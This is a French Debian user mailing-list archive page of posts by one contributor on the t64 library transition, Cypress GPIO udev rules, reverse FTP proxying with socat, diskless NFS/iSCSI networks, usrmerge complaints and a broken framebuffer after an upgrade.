Re: libwxgtk3.2-1t64 et fichiers d'en-têtes

2024-05-06 Thread BERTRAND Joël
didier gaumet a écrit :
> Le 06/05/2024 à 09:42, BERTRAND Joël a écrit :
> [...]
>> Si je regarde par exemple libwxgtk3.2-1t64, le seul fichier
>> d'en-têtes
>> semble être libwxgtk3.2-dev qui veut désinstaller libwxgtk3.2-1t64 pour
>> remettre libwxgtk3.2.
> [...]
> 
> d'après https://packages.debian.org/sid/libwxgtk3.2-dev
>  En Sid le paquet libwxgtk3.2-dev dépend du paquet libwxgtk3.2-1t64
> 
> sous réserves:
> 
> donc ça semblerait dire que bien que le nom du paquet -dev ne comporte
> pas le suffixe t64 il prend bien en compte la transition t64.
> Donc peut-être que tu n'as pas fait un apt update préalable ou que sur
> le serveur sur lequel ça a atterri à ce moment-là, le paquet -dev en
> question n'avait pas encore été modifié et qu'une fois ce serveur à jour
> tout rentrera dans l'ordre? (à condition que tu sois uniquement en pur
> Debian Sid et qu'un autre dépôt ne foute pas la grouille dans les
> dépendances)

Effectivement, ça passe maintenant avec unstable. Ce n'était pas le cas
ce matin... Ça m'arrange, il fallait que je recompile KiCAD.

Merci,

JB



signature.asc
Description: OpenPGP digital signature


Re: libwxgtk3.2-1t64 et fichiers d'en-têtes

2024-05-06 Thread BERTRAND Joël
Basile Starynkevitch a écrit :
> 
> On 5/6/24 09:42, BERTRAND Joël wrote:
>> Bonjour à tous,
>>
>> Il vient d'y avoir une salve de bibliothèques avec une extension t64
>> (pour time_t en 64 bits contre 32). Très bien, mais quelqu'un saurait-il
>> où trouver les fichiers d'en-tête correspondant ?
>>
>> Si je regarde par exemple libwxgtk3.2-1t64, le seul fichier
>> d'en-têtes
>> semble être libwxgtk3.2-dev qui veut désinstaller libwxgtk3.2-1t64 pour
>> remettre libwxgtk3.2.
>>
>> Je ne trouve rien dans les rapports de bogues.
>>
>> Faut-il recompiler la bibliothèque à partir du paquet source ? En
>> espérant que ce paquet contienne ce qu'il faut pour créer le -dev.
>>
>> Bien cordialement,
> 
> 
> Il est possible (c'est l'habitude dans le monde GNU) qui vous faut juste
> compiler avec les mêmes fichiers d'entête, mais des drapeaux de
> preprocessing différents.

Oui, ça, je sais. Mais pour compiler, encore faudrait-il avoir les
fichiers d'en-têtes ;-)

La question était "où donc sont ces fichus fichiers d'en-têtes".

JB



signature.asc
Description: OpenPGP digital signature


libwxgtk3.2-1t64 et fichiers d'en-têtes

2024-05-06 Thread BERTRAND Joël
Bonjour à tous,

Il vient d'y avoir une salve de bibliothèques avec une extension t64
(pour time_t en 64 bits contre 32). Très bien, mais quelqu'un saurait-il
où trouver les fichiers d'en-tête correspondant ?

Si je regarde par exemple libwxgtk3.2-1t64, le seul fichier d'en-têtes
semble être libwxgtk3.2-dev qui veut désinstaller libwxgtk3.2-1t64 pour
remettre libwxgtk3.2.

Je ne trouve rien dans les rapports de bogues.

Faut-il recompiler la bibliothèque à partir du paquet source ? En
espérant que ce paquet contienne ce qu'il faut pour créer le -dev.

Bien cordialement,

JB



signature.asc
Description: OpenPGP digital signature


Re: Re : Re: Linux mobilise désormais 15 % de parts sur les desktops en Inde, une performance qui contraste avec les 4 % à l'échelle globale

2024-05-05 Thread BERTRAND Joël
Gabriel Moreau a écrit :
> Vrai pour Apple dont le noyau Darwin est un dérivé des BSD.

Non, le noyau est un micronoyau avec des serveurs de type Unix par
dessus (du code pompé à Free et NetBSD). C'est le pire truc qui puisse
exister.

> Faux pour
> Windows qui n'a rien d'UNIX. Windows NT a été écrit par des anciens de
> Digital et dérive complètement de la philosophie de VMS. D'ailleurs,
> VMS++ == WNT !

Mouais. Si Dave Cutler qui a participé à la genèse de VMS a émargé chez
Microsoft par la suite (1988). Il est arrivé après qu'IBM a viré les
ingénieurs de Microsoft d'OS/2. Mais ce n'est pas lui qui a pondu les
concepts de NT qui ont été développés initialement par Microsoft /et/
IBM. NT n'a pas été écrit par des anciens de Digital. Il suffit
d'ailleurs de regarde le code de VMS et celui de NT (ou le Gray Wall et
la doc Microsoft) pour se convaincre que les deux systèmes ne sont
vraiment pas sortis des mêmes cerveaux.

JB



signature.asc
Description: OpenPGP digital signature


Re: [semi-HS] Conseil sur l'exploitation d'un serveur DNS

2024-05-05 Thread BERTRAND Joël
François TOURDE a écrit :
> Le 19846ième jour après Epoch,
> Olivier écrivait:
> 
>> Bonjour,
>>
>> J'envisage de mettre en place un serveur DNS dont le rôle serait de
>> résoudre des requêtes sur un de mes domaines.
> 
> Il y a des chances que ton registrar te propose son propre DNS. Pourquoi
> ne pas l'utiliser ?

Parce que pour certaines configurations spéciales, ça ne le fait pas ou
alors très difficilement. Typiquement pour un certificat * chez
Lestencrypt, il vaut mieux avoir son propre DNS.



signature.asc
Description: OpenPGP digital signature


Re: GPIO (CY7C65211)

2024-04-26 Thread BERTRAND Joël
didier gaumet a écrit :
> 
> Bonjour,

Bonsoir,

> avertissement: je n'y connais absolument rien et je réponds peut-être au
> moins en partie à côté de la question que tu poses

L'essentiel est de participer ;-)

Plus sérieusement, merci d'apporter un nouvel éclairage sur le sujet.

> de ce que je comprends:
> - la gestion GPIO du noyau linux a changé (/sys/class/gpio* ->

Je n'ai rien dans /dev/gpio ou /sys/class/gpio* qui vienne lorsque je
branche la carte en question.

> /dev/gpio*) et mieux vaut utiliser le nouveau système que l'ancien
> - le paquet Debian gpiod propose des utilitaires de détection, prise
> d'information et interaction GPIO accessibles par un shell Linux. La
> bibliothèque libgpiod semble utile pour l'accès par programme.

Je ne connaissais pas, je vais creuser de ce côté.

> - je crois que le paquet usb-modeswitch permet de faire ce que tu fais
> avec une règle USB

En revanche, le ttyACM0 monte automatiquement. Je vois bien le
périphérique dans lsusb mais je n'arrive même pas à l'ouvrir avec le sdk
de Cypress (et ce n'est pas une question de droit, j'ai aussi essayé en
root).

J'ai écrit un bout de C qui scanne les bus USB. Il détecte bien le
04B4:0002 (et ce n'est pas du bruit de télétransmission, le résultat est
toujours le même, je n'ai pas de problème sur la liaison physique).
...
Indice : 023, id : 6015:0403 inaccessible
Indice : 024, id : 082D:046D inaccessible
Indice : 025, id : 2812:2109 inaccessible
Indice : 026, id : 0002:04B4 0=>0/02 1=>0/0A 2=>5/FF Cypress CY7C65211
détecté
Indice : 027, id : 6001:0403 inaccessible
Indice : 028, id : 0002:1D6B inaccessible
...

et juste plus loin, le CyOpen() me renvoie un coup de pied aux fesses... :-(

Chose surprenante, la classe (à droite des '=>') ne peut être d'après
la doc que 00, 02, 0F, FF. Je ne vois pas ce que vient faire là-dedans
un 0A...

JB




signature.asc
Description: OpenPGP digital signature


GPIO (CY7C65211)

2024-04-26 Thread BERTRAND Joël
Bonjour à tous,

Je viens de câbler une interface USB vers RS232 + GPIO qui fonctionne
avec un composant CY7C65211.

Celui-ci est reconnu comme un thermomètre par le noyau Linux. J'ai donc
rajouté une règle udev pour corriger cela :

KERNEL=="*", SUBSYSTEM=="usb", ENV{DEVTYPE}=="usb_device",
ACTION=="add", ATTR{idVendor}=="04b4", MODE="666"
KERNEL=="*", SUBSYSTEM=="usb", ENV{DEVTYPE}=="usb_device",
ACTION=="remove", TAG=="cyusb_dev"

La carte est maintenant vue comme un port série sur ttyACM?. Très bien.
Mais comment accéder aux différents GPIO ? J'aimerais éviter d'utiliser
le SDK du fondeur pour faire des choses aussi simples...

Bien cordialement,

JB



signature.asc
Description: OpenPGP digital signature


Re: Reverse ftp proxy

2024-03-26 Thread BERTRAND Joël
NoSpam a écrit :
> Bonsoir
> 
> Le 26/03/2024 à 18:13, BERTRAND Joël a écrit :
>> [...]
>>
>> Deuxième question : le serveur FTP est un OS un peu spécial qui ne
>> comprend pas IPv6. Est-il possible de rediriger IPv6 sur du V4 de
>> manière transparente ?
> 
> Oui avec socat
> 
> # socat
> #
> iface ens1 inet static
>   address 172.16.30.4/32
> 
> nohup socat UDP-LISTEN:53,bind=172.16.30.4,reuseaddr,fork,su=nobody
> UDP6:[fd77:1234:5678:90ab::4]:53

Je note merci.

JB



signature.asc
Description: OpenPGP digital signature


Reverse ftp proxy

2024-03-26 Thread BERTRAND Joël
Bonjour à tous,

J'essaie d'installer sans succès un reverse ftp proxy et je me demande
si ce que je cherche à faire est possible.

Configuration :

IP publique --- serveur frontal Linux --- LAN --- serveur FTP anonyme

L'IP publique est propre au serveur FTP que je ne veux pas mettre en
frontal sur internet (je suis contraint d'y laisser un telnet ouvert).

Je peux donc configurer une IP virtuelle sur le port WAN du serveur
Linux et tout balancer avec du NAT vers le serveur FTP. Mais, à ce
moment, dans les logs du serveur FTP, je ne vois que l'adresse IP du
serveur Linux. Or j'aurais besoin de logguer les vraies IP pour les
transactions.

Comment faire ? Si toutefois il est possible de faire... Au pire, des
logs côté serveur Linux pourraient m'aller, mais si ce serait compliqué
à gérer.

Deuxième question : le serveur FTP est un OS un peu spécial qui ne
comprend pas IPv6. Est-il possible de rediriger IPv6 sur du V4 de
manière transparente ?

Bien cordialement,

JB



signature.asc
Description: OpenPGP digital signature


Re: apt pas content

2024-03-16 Thread BERTRAND Joël
Bonjour,

Il y a un gros problème avec gnutls mais je pensais que ça se limitais
à testing. J'ai réussi à m'en sortir hier en forçant l'installation de
la mise à jour de gnutls et de ses dépendances et en _réinstallant_ le
reste qui a été viré par un dist-upgrade. Seul cups est toujours cassé.

JB



signature.asc
Description: OpenPGP digital signature


Disparition de sensord

2024-03-15 Thread BERTRAND Joël
Bonsoir à tous,

je viens de m'apercevoir que sensord n'est plus disponible dans les
dépôts. C'était une chose très pratique qui balançait dans syslog les
sorties de sensors lorsqu'il y avait une alarme de température. Par quoi
est-ce que cela a été remplacé, je ne trouve rien...

Bien cordialement,

JKB



signature.asc
Description: OpenPGP digital signature


Re: utilisation de nis et nfs pour un réseau de 32 postes

2024-02-25 Thread BERTRAND Joël
Je ne sais pas pourquoi je ne peux pas avoir la copie du mail dans la
réponse. On va donc copier à la main.

>Pour l’architecture globale, si je comprends bien c’est :
Un serveur de fichiers sous un *nix contenant à la fois les boot des
PC et leurs données
Des postes sans disque (pourquoi ?)
un réseau ;-)

Oui. Ça permet d'avoir une solution centralisée de sauvegarde et
d'archivage. Ça permet aussi de considérer le poste de travail comme
jetable, sans aucune donnée des utilisateurs. Changer un poste de
travail qui a claqué, c'est une histoire de deux fichiers à éditer côté
serveur pour le boot réseau.

>Je ne comprends pas bien la notion de PC sans disques, depuis les tests
Sun de stations sans disques écroulant tout réseau je n’en vois pas
l'intérêt

Le réseau n'est jamais écroulé. Au cul du serveur principal, il y a un
switch Cisco, chaque machine étant sur un port particulier. Le goulot
d'étranglement n'est pas là.

>J’aurais tendance à proposer ce qui est largement utilisé dans les
clusters de calculs et les déploiements via réseau c’est à dire :

Un boot PXE pour charger l’initramfs
la diffusion de l’arborescence système via un Netboot
L’OS tourne en RAM avec un disque RAM

Aucun intérêt. Il y a des cibles qui sont des machines pour des clients
avec de l'électronique embarquée et qui arrivent péniblement à 512 Mo de
mémoire. On ne va pas y mettre un OS en RAM.

> Pour ce qui est de l’architecture de l’OS sur le PC j’utiliserais un
disque local et installerai toutes les données système dessus. Encore
une fois, c’est bien plus sur et efficace (voir latence réseau). Du
coup, la home dir de l’utilisateur doit rester locale avec un montage
NFS de ses données réseau dans un sous répertoire. Comme ça les usages
de l’OS dans le répertoire utilisateur ne sont pas ralentis par le
montage NFS et les données restent accessibles.

JE NE VEUX PAS DE DISQUES LOCAUX POUR TOUT UN TAS DE RAISON. Là, j'ai
un seul endroit à surveiller avec les sauvegardes et archivages. Et ça
évite les chouineries du type mon disque a planté et je n'ai pas de
sauvegarde ou j'ai eu des alertes smartd mais j'ai oublié de te le dire.
Ça évite aussi le "j'ai pas de sauvegarde parce qu'elle passe à 23h05 et
que mon poste était coupé".

> Si je comprends bien tu mélange sur un même réseau la 2 technologies
iSCSI qui utilise le mode « block » et Ethernet qui utilise le réseau en
mode caractères.
Ce n’est pa très bon.
L’un, iSCSI, serait plus opérationnel avec des trames « Jumbo » (9000
Oc) pour minimiser le découpage des blocks. L’autre, Ethernet,
fonctionne mieux avec des trames de 1500 Oc. Et il n’est pas raisonnable
de mixer les 2 sur un même commutateur.
L’un, iSCSI, travaille en SAN c’est à dire directement sur un système de
fichiers via réseau. L’autre, NFS, réclame un service de niveau haut
fourni par un serveur (NAS).

Les deux fonctionnent avec des blocs de 1500 octets. Il y a des trames
de 9000 octets sur un autre sous réseau accédant aux NAS. Et ces 1500
octets permettent de swapper à la vitesse maximale. En d'autres termes,
ce n'est pas le facteur limitant et il y a même beaucoup de marge. Le
facteur limitant est le serveur (pour swapper à 1 Gbps, l'occupation CPU
de istgt monte à 40% d'un coeur en état D).

> L’explication est juste au dessus.

Ben non.

> Vrai, il n’était pas vraiment nécessaire de passer à un switch Cisco
(cher) mais c’est vrai.
Un discriminant est de choisir un commutateur managable.

Non plus. Le TPlink était parfaitement manageable.

> On en revient au montage par block d’un système de fichiers via un SAN.

Rien à voir. Je ne peux pas me permettre de créer et retirer à la volée
des volumes racine pour les différents clients. D'autant que certains OS
utilisés ne peuvent utiliser une racine en iSCSI.

JB



signature.asc
Description: OpenPGP digital signature


Re: utilisation de nis et nfs pour un réseau de 32 postes

2024-02-25 Thread BERTRAND Joël
zithro a écrit :
> On 24 Feb 2024 23:23, BERTRAND Joël wrote:
>> Un gros serveur sous NetBSD et toutes les stations sont diskless et
>> bootent sur le réseau. Les disques sont en NFS et les swaps en iSCSI.
> 
> Peux-tu expliquer ce choix (NFS vs iSCSI) stp ?

Oui, je peux ;-)

> Si je dis pas de conneries, tu pourrais boot root (/) en iSCSI.

Je pourrais. Mais j'ai un gros volume qui contient les racines de
toutes les machines. Si je voulais traiter en iSCSI, il me faudrait un
système de fichiers distribué et supporté par tous les clients. Il me
faudrait aussi des OS capables de démarrer sur un volume iSCSI.

Pour utiliser iSCSI sereinement, il me faudrait aussi un volume par
client, exporté en tant que tel. Les /home sont sur un autre volume. En
revanche, les points de montage des racines (/srv/machine) ne sont
exportables que sur la bonne machine (verrouillé dans /etc/exports, les
IP étant fournies par DHCP en fonction de l'adresse MAC du client).

> Note que je suis autant interessé par ton raisonnement (ton choix
> pratique) que par le débat NFS vs iSCSI (la théorie) !
> (Y'a pas de solutions toutes faites, le forum de FreeNAS est un bon
> exemple).
> 
>> La qualité du
>> switch est primordiale. Passer d'un TPLink à un Cisco m'a changé la vie.
> 
> Entièrement d'accord avec toi.
> J'en profite pour un coup de gueule, c'est le problème avec le matos
> "grand public".
> Un switch 1Gb/s "grand public" veut dire que tu auras ce débit entre
> DEUX stations ! (Comprendre entre 2 ports physiques).
> Un "vrai" switch 1Gb/s 10 ports devrait tenir au moins 5Gb/s (sans
> uplink) : deux stations à 1Gpbs, fois 5.
> J'ai découvert ce problème par la pratique, chercher "switch backplane"
> sur le net. Même certains switch soit-disant d'entreprise (SOHO) sont
> incapables de tels débits.
> (Mais YMMV comme disent les ricains).

J'ai toutefois été surpris de constater qu'un vieux switch 3Com à 24
ports mettait la pâtée à un TPlink pourtant relativement cher. Comme
j'ai été surpris de constater qu'il était assez intelligent alors qu'il
n'est pas officiellement manageable pour gérer une agrégation de lien de
niveau 2.

>> Le goulot d'étranglement n'est pas le réseau, mais le système de
>> fichier sur les disques exportés. J'ai fait la bêtise d'utiliser FFSv2
>> sur lequel il n'est pas possible de mettre un cache. Lorsque j'aurai le
>> temps, je remplacerai cela par un ZFS+cache.
> 
> AFAIK, le problème de tous réseaux c'est la latence, pas le débit.
> (Toutes proportions gardées).
> Donc améliorer les accès disque(s) n'améliorent pas forcément la
> "réactivité".
> Peux-tu éclairer ma lanterne stp ?

Le NFSv3 n'a pas de cache et travaille en TCP (j'ai essayé UDP, ce
n'est pas franchement mieux). Il est possible de monter les disques en
async, mais je déconseille (côté NetBSD, il vaut mieux ne pas utiliser
async et la journalisation en même temps). Avec l'option async, ça va
nettement plus vite, mais on risque des surprises en cas de coupure de
courant.

Quand il y a des tas de petites écritures, le goulot d'étranglement est
l'accès disque surtout en écriture (là, il vaut mieux des disques CMR
que SMR) parce que le système ne peut pas cacher efficacement ces petits
accès. On s'aperçoit que le paquet ACK met un peu plus de temps à
revenir au client. Ça suffit pour faire tomber les performances.

Sur des lectures, j'atteins sans peine 800 à 900 Mbps. Sur des écriture
de quelques gros fichiers, ça monte à 500 Mbps. Si ce sont des petits
fichiers en écriture, les performances sont ridicules. Un apt install
texlive-full prend des plombes. Attention, je n'attends ces débits
qu'avec des cartes réseau Intel. Les Realtek sont largement moins bonnes
(bon, ça reste utilisable tout de même).

À côté, iSCSI permet d'atteindre 1 Gbps sur le swap.

> PS: j'ai travaillé dans la VoIP, où j'ai -finalement- compris que
> latence et débit n'ont rien à voir. Sans même parler de jitter (la
> variation de latence en bon céfran).

Ben oui, ça n'a rien à voir. Mais le gros problème est d'avoir le
paquet ACK du TCP le plus vite possible. Et ça, ça passe par un cache
côté serveur capable d'accepter les transactions le plus rapidement
possible en résistant aux coupures de courant. C'est pour cela qu'il
faudrait que je teste un ZFS avec un cache sur un SSD sacrificiel.

Bien cordialement,

JB



signature.asc
Description: OpenPGP digital signature


Re: utilisation de nis et nfs pour un réseau de 32 postes

2024-02-24 Thread BERTRAND Joël
Basile Starynkevitch a écrit :
> 
> On 2/23/24 12:02, Erwann Le Bras wrote:
>>
>> Bonjour
>>
>> Peut-être faire des essais avec SSHFS? le $HOME des utilisateurs
>> serait monté sur chaque client au boot.
>>
>> Mais je ne sais pas si c'est plus efficace que NFS.
>>
> 
> J'aurais tendance à imaginer que c'est moins efficace que NFS, qui est
> de toute façon lent (car Ethernet est beaucoup plus lent que par exemple
> une liaison SATA à un disque local, même rotatif).
> 
> NFS (à l'époque lointaine où je l'avais utilisé) ne crypte pas les
> données. SSHFS semble les crypter.
> 
> Autrefois (avant 2000) j'avais même utilisé des Sun4/110 dont le swap
> était une partition NFS distante.
> 
> Librement
> 

Bonsoir,

J'ai un réseau complet et hétérogène avec NIS+NFS.

Un gros serveur sous NetBSD et toutes les stations sont diskless et
bootent sur le réseau. Les disques sont en NFS et les swaps en iSCSI.
Ça fonctionne parfaitement bien (ça rame lorsqu'il y a de toutes petites
écritures en rafale en raison du protocole réseau TCP, mais l'immense
majorité du temps, ça fonctionne bien).

Le serveur est relié à un switch Cisco au travers de deux liens
ethernet aggrégés, le reste est en 1 Gbps classique. La qualité du
switch est primordiale. Passer d'un TPLink à un Cisco m'a changé la vie.

Le goulot d'étranglement n'est pas le réseau, mais le système de
fichier sur les disques exportés. J'ai fait la bêtise d'utiliser FFSv2
sur lequel il n'est pas possible de mettre un cache. Lorsque j'aurai le
temps, je remplacerai cela par un ZFS+cache.

NFS à partir de la version 4 chiffre les données (mais n'est pas
interopérable pour l'instant avec NetBSD, donc je n'ai pas testé).

Bien cordialement,

JB



signature.asc
Description: OpenPGP digital signature


Re: Plus de framebuffer/X

2024-01-08 Thread BERTRAND Joël
C'est bien le fait de ne pas avoir usrmerge qui est le fautif parce que
les scripts d'installation ne contiennent plus le PATH canonique !

Je ne dirais pas ce que je pense.



signature.asc
Description: OpenPGP digital signature


Re: Plus de framebuffer/X

2024-01-08 Thread BERTRAND Joël
Michel Verdier a écrit :
> Le 8 janvier 2024 BERTRAND Joël a écrit :
> 
>>  J'ai déjà trouvé par le passé mount.nfs qui n'est plus dans /sbin mais
>> dans /usr/sbin (contrairement à ce qu'indique la page man).
> [...]
>>  Que les devs de Debian forcent l'utilisation d'usrmerge sur Debian,
>> pourquoi pas. Mais pourquoi vouloir tout faire pour forcer l'utilisation
>> de cette horreur sur les distributions dérivées ?
> 
> usrmerge fait un lien symbolique de /bin -> /usr/bin et /sbin ->
> /usr/sbin. Le déplacement de mount.nfs est indépendant, mais doit passer
> inaperçu si on a usrmerge. Si tu as déjà pris le déplacement en compte
> avant l'upgrade il doit s'agir d'autre chose.

J'ai un tas d'erreurs dans les scripts d'initialisation parce que le
PATH par défaut est /sbin:/bin et non plus /sbin:/bin:/usr/sbin:/usr/bin
(ça ne coûtait vraiment rien de le conserver). Là, je fais une archive
du système côté serveur avant de passer un coup d'usrmerge. Si c'est
bien le problème, je réinstalle un système qui sait faire la différence
entre / et /usr.

HS:

Sur cette machine, usrmerge ou pas n'est pas critique, mais je ne veux
pas multiplier les systèmes entre mes machines fixes et les embarquées
qui sont souvent à l'autre bout de la France et physiquement
difficilement accessibles. Il serait d'ailleurs intéressant que les gens
qui poussent ces "nouveautés" aient conscience de ce qui se fait
ailleurs que sur les machines de bureau ou les serveurs embarquant des
To de disques et de Go de mémoire. Dans l'embarqué, on aime bien avoir
un / en ro et par exemple un /usr en ubifs rw sur une émulation de
memory device. C'est ce que je fais sur des rPI lorsque le client impose
cette architecture. Ça permet d'éviter de cramer des sdcard tous les six
mois. Avec un usrmerge, c'est quasiment impossible sauf à bricoler avec
des ramdisks vraiment tordus à l'initialisation. Alors oui, ça se fait,
mais beaucoup plus difficilement qu'avant.

Autre problème, cette joyeuseté complique aussi les mises à jour des
équipements. Lorsqu'on a un / et un /usr sur des partitions séparées,
qu'on a fait entrer le tout aux forceps dans une eMMC, on ne peut pas
forcément copier tout /bin et /sbin vers /usr/bin et /usr/sbin faute de
place. Il n'est pas rare dans l'embarqué d'avoir des eMMC de 16 ou 32
Go. Et lorsqu'on doit avoir des données variables, on les colle dans un
/var séparé. On est donc relativement à l'étroit.

J'ai bien conscience que c'est un cas marginal, mais c'est un cas qui
me pourrit l'existence depuis des mois, d'où mon petit coup de gueule
parce que j'ai de plus en plus l'impression que les développements
récents des distribution Linux laissent tomber tout ce qui n'a pas 1 To
de disque et au moins 4 Go de mémoire. Les gueux de l'embarqué,
démerdez-vous.



signature.asc
Description: OpenPGP digital signature


Re: Plus de framebuffer/X

2024-01-07 Thread BERTRAND Joël
Bon.

J'ai un début de piste et ça commence à être gavant.

J'ai déjà trouvé par le passé mount.nfs qui n'est plus dans /sbin mais
dans /usr/sbin (contrairement à ce qu'indique la page man).

Là, on se retrouve avec des PATH dans des scripts de démarrage qui ne
contiennent plus que /sbin:/bin. J'ai un tas d'erreurs au démarrage
(erreurs naturellement non logguées et qui n'apparaissent que sur la
console, même pas dans le dmesg). Je suppose que la génération de
l'initramfs est foireuse même si elle ne retourne aucune erreur.

Il y a des distributions basées sur debian qui n'utilisent ni systemd
ni (encore et heureusement) l'horreur usrmerge. Qu'est-ce qui empêche
les développeurs de Debian de coller mount.nfs dans /sbin et de
conserver les paths classiques (sauf à vouloir imposer à toutes les
distributions dérivées l'utilisation d'usrmerge) ? Il y a des tas de
raisons pour ne pas en vouloir, à commencer par la gestion des
partitions en ro de systèmes embarqués. Tout le monde ne veut pas un
gros /usr en rw, surtout sur des machines sans console et inaccessibles
physiquement !

Que les devs de Debian forcent l'utilisation d'usrmerge sur Debian,
pourquoi pas. Mais pourquoi vouloir tout faire pour forcer l'utilisation
de cette horreur sur les distributions dérivées ?

Merci de ne pas répondre en essayant de me convaincre de l'intérêt de
cette "chose". J'ai bien réfléchi, je la trouve merdique au possible
pour mes applications, je n'en veux pas. Si elle se trouve imposée, je
changerai plutôt d'OS.

JB



signature.asc
Description: OpenPGP digital signature


Re: Plus de framebuffer/X

2024-01-07 Thread BERTRAND Joël
ajh-valmer a écrit :
> On Sunday 07 January 2024 19:47:19 BERTRAND Joël wrote:
>> ... apt dist-upgrade (qui s'est achevé sans erreur).
>> Aujourd'hui, je rallume la machine en question et je n'ai plus de
>> session graphique ... :
> 
> Sans doute, suite à l'upgrade, le nouveau noyau de Devuan
> ne reconnaît plus le module de la carte graphique.
> Il faut essayer de booter avec un ancien noyau,
> sinon de trouver un pilote vidéo adaptable.

J'ai l'impression que dans l'upgrade, l'ancien noyau a été retiré. J'ai
essayé avec un vmlinuz-6.5.0-5-amd64 et un vmlinuz-6.5.0-3-amd64. Même
motif, même résultat. Ce qui me fait tiquer est que je n'ai pas autre
chose que la console 80x25 (même en mode texte).

Bien cordialement,

JB



signature.asc
Description: OpenPGP digital signature


Re: Plus de framebuffer/X

2024-01-07 Thread BERTRAND Joël
Michel Verdier a écrit :
> Le 7 janvier 2024 BERTRAND Joël a écrit :
> 
>>  Hier, j'ai du configurer ce qu'il fallait pour pouvoir accéder à des
>> bluerays. Très bien, ça fonctionnait. Mais pour cela, j'ai du passer un
>> apt dist-upgrade (qui s'est achevé sans erreur).
> 
> As-tu fais update et upgrade --without-new-pkgs comme préconisé ici :
> https://www.debian.org/releases/stable/i386/release-notes/ch-upgrading.fr.html#upgradingpackages
> 
>> 2024-01-07T19:27:37.012530+01:00 heisenberg kernel: Kernel command line:
>> BOOT_IMAGE=pxelinux.cfg/vmlinuz-heisenberg root=/dev/nfs
>> initrd=pxelinux.cfg/initrd.img-heisenberg
>> nfsroot=192.168.10.128:/srv/heisenberg ip=dhcp rw splash
>> intel_iommu=on,igfx_off
>>
>> 2024-01-07T19:27:37.012533+01:00 heisenberg kernel: Unknown kernel
>> command line parameters "splash
>> BOOT_IMAGE=pxelinux.cfg/vmlinuz-heisenberg
>> nfsroot=192.168.10.128:/srv/heisenberg ip=dhcp", will be passed to user
>> space.
> 
> C'est juste un warning qui indique que les paramètres sont passés à la
> suite. As-tu refais le kernel et le initrd qui sont utiisés ?

Oui. J'ai vérifié par deux fois.

> Quelle est ta version de kernel ? Quelle est ta carte graphique ?


root@heisenberg:/var/log# uname -a
Linux heisenberg 6.5.0-3-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.5.8-1
(2023-10-22) x86_64 GNU/Linux

La carte graphique est une intel intégrée au CPU :
Intel(R) Core(TM) i5-4570S CPU @ 2.90GHz

JB



signature.asc
Description: OpenPGP digital signature


Plus de framebuffer/X

2024-01-07 Thread BERTRAND Joël
Bonjour à tous et bonne année.

Il m'arrive un truc étonnant sur une machine qui me sert de serveur
multimedia. Cette machine est diskless et fonctionnait parfaitement
jusqu'à hier (pas noté la version du noyau). Ce n'est pas une Debian,
c'est une Devuan, mais les paquets et la configuration sont identique en
dehors du système d'initialisation.

Hier, j'ai du configurer ce qu'il fallait pour pouvoir accéder à des
bluerays. Très bien, ça fonctionnait. Mais pour cela, j'ai du passer un
apt dist-upgrade (qui s'est achevé sans erreur).

Aujourd'hui, je rallume la machine en question et je n'ai plus de
session graphique. De la même manière, la console reste en 80x25 (avant,
j'avais une console graphique avec des tous petits caractères, l'écran
est un truc en 2560x1440. Si je lance sddm à la main, il ne se passe
rien (le processus tourne, aucune erreur dans les logs de sddm).

kern.log indique plusieurs choses étranges (je ne sais pas si le noyau
indiquait la même chose dans la configuration fonctionnelle) :

2024-01-07T19:27:37.012530+01:00 heisenberg kernel: Kernel command line:
BOOT_IMAGE=pxelinux.cfg/vmlinuz-heisenberg root=/dev/nfs
initrd=pxelinux.cfg/initrd.img-heisenberg
nfsroot=192.168.10.128:/srv/heisenberg ip=dhcp rw splash
intel_iommu=on,igfx_off

2024-01-07T19:27:37.012533+01:00 heisenberg kernel: Unknown kernel
command line parameters "splash
BOOT_IMAGE=pxelinux.cfg/vmlinuz-heisenberg
nfsroot=192.168.10.128:/srv/heisenberg ip=dhcp", will be passed to user
space.

Effectivement, splash ne fonctionne plus non plus.

Mais j'ai aussi ceci :

root@heisenberg:/var/log# grep conflict kern.log
2024-01-07T18:05:19.599573+01:00 heisenberg kernel: ACPI Warning:
SystemIO range 0x1828-0x182F conflicts with
OpRegion 0x1800-0x187F (\PMIO)
(20230331/utaddress-204)
2024-01-07T18:05:19.599573+01:00 heisenberg kernel: ACPI: OSL: Resource
conflict; ACPI support missing from driver?
2024-01-07T18:05:19.599577+01:00 heisenberg kernel: ACPI Warning:
SystemIO range 0x1C40-0x1C4F conflicts with
OpRegion 0x1C00-0x1FFF (\GPR)
(20230331/utaddress-204)
2024-01-07T18:05:19.599578+01:00 heisenberg kernel: ACPI: OSL: Resource
conflict; ACPI support missing from driver?
2024-01-07T18:05:19.599578+01:00 heisenberg kernel: ACPI Warning:
SystemIO range 0x1C30-0x1C3F conflicts with
OpRegion 0x1C00-0x1C3F (\GPRL)
(20230331/utaddress-204)
2024-01-07T18:05:19.599579+01:00 heisenberg kernel: ACPI Warning:
SystemIO range 0x1C30-0x1C3F conflicts with
OpRegion 0x1C00-0x1FFF (\GPR)
(20230331/utaddress-204)
2024-01-07T18:05:19.599579+01:00 heisenberg kernel: ACPI: OSL: Resource
conflict; ACPI support missing from driver?
2024-01-07T18:05:19.599579+01:00 heisenberg kernel: ACPI Warning:
SystemIO range 0x1C00-0x1C2F conflicts with
OpRegion 0x1C00-0x1C3F (\GPRL)
(20230331/utaddress-204)
2024-01-07T18:05:19.599582+01:00 heisenberg kernel: ACPI Warning:
SystemIO range 0x1C00-0x1C2F conflicts with
OpRegion 0x1C00-0x1FFF (\GPR)
(20230331/utaddress-204)
2024-01-07T18:05:19.599583+01:00 heisenberg kernel: ACPI: OSL: Resource
conflict; ACPI support missing from driver?
2024-01-07T18:05:19.599583+01:00 heisenberg kernel: lpc_ich: Resource
conflict(s) found affecting gpio_ich
2024-01-07T18:11:36.030703+01:00 heisenberg kernel: ACPI Warning:
SystemIO range 0x1828-0x182F conflicts with
OpRegion 0x1800-0x187F (\PMIO)
(20230331/utaddress-204)
2024-01-07T18:11:36.030703+01:00 heisenberg kernel: ACPI: OSL: Resource
conflict; ACPI support missing from driver?
2024-01-07T18:11:36.030708+01:00 heisenberg kernel: ACPI Warning:
SystemIO range 0x1C40-0x1C4F conflicts with
OpRegion 0x1C00-0x1FFF (\GPR)
(20230331/utaddress-204)
2024-01-07T18:11:36.030708+01:00 heisenberg kernel: ACPI: OSL: Resource
conflict; ACPI support missing from driver?
2024-01-07T18:11:36.030709+01:00 heisenberg kernel: ACPI Warning:
SystemIO range 0x1C30-0x1C3F conflicts with
